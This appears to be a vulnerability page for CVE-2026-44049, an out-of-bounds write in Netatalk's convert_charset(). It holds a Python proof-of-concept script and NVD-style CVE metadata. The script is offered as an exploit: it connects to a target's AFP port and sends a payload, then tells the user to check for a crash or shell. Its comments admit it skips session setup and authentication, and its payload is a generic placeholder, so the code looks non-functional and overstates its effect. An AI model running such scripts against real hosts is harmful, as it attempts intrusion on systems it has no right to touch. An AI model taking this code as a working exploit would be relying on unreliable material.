CVE-2026-44049

#!/usr/bin/env python3 """ PoC for CVE-2026-44049 (Netatalk Out-of-Bounds Write) This script demonstrates sending a crafted payload to trigger the vulnerability in convert_charset(). Note: Authentication is required (PR:L). """ import socket import sys def send_exploit(target_ip, target_port=548): # AFP uses port 548 by default # The payload is designed to trigger the null termination issue # Specific bytes may vary depending on the charset configuration. # Crafted character sequence to bypass null termination checks malicious_payload = b"\x00" * 64 # Padding malicious_payload += b"\xff\xfe\x00\x00" # Malformed unicode/charset data try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # In a real scenario, AFP session establishment (DSIOpenSession) is needed first # followed by authentication. This payload assumes the context is set. print(f"[*] Sending payload to trigger out-of-bounds write...") s.send(malicious_payload) response = s.recv(1024) print(f"[*] Received response. Check target for crash or shell.") s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <TARGET_IP>") sys.exit(1) send_exploit(sys.argv[1])

{"cve": {"id": "CVE-2026-44049", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:20.473", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds write due to improper null termination in convert_charset() in Netatalk 2.0.4 through 4.4.2 allows a remote authenticated attacker to execute arbitrary code or cause a denial of service via crafted character data."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44049", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}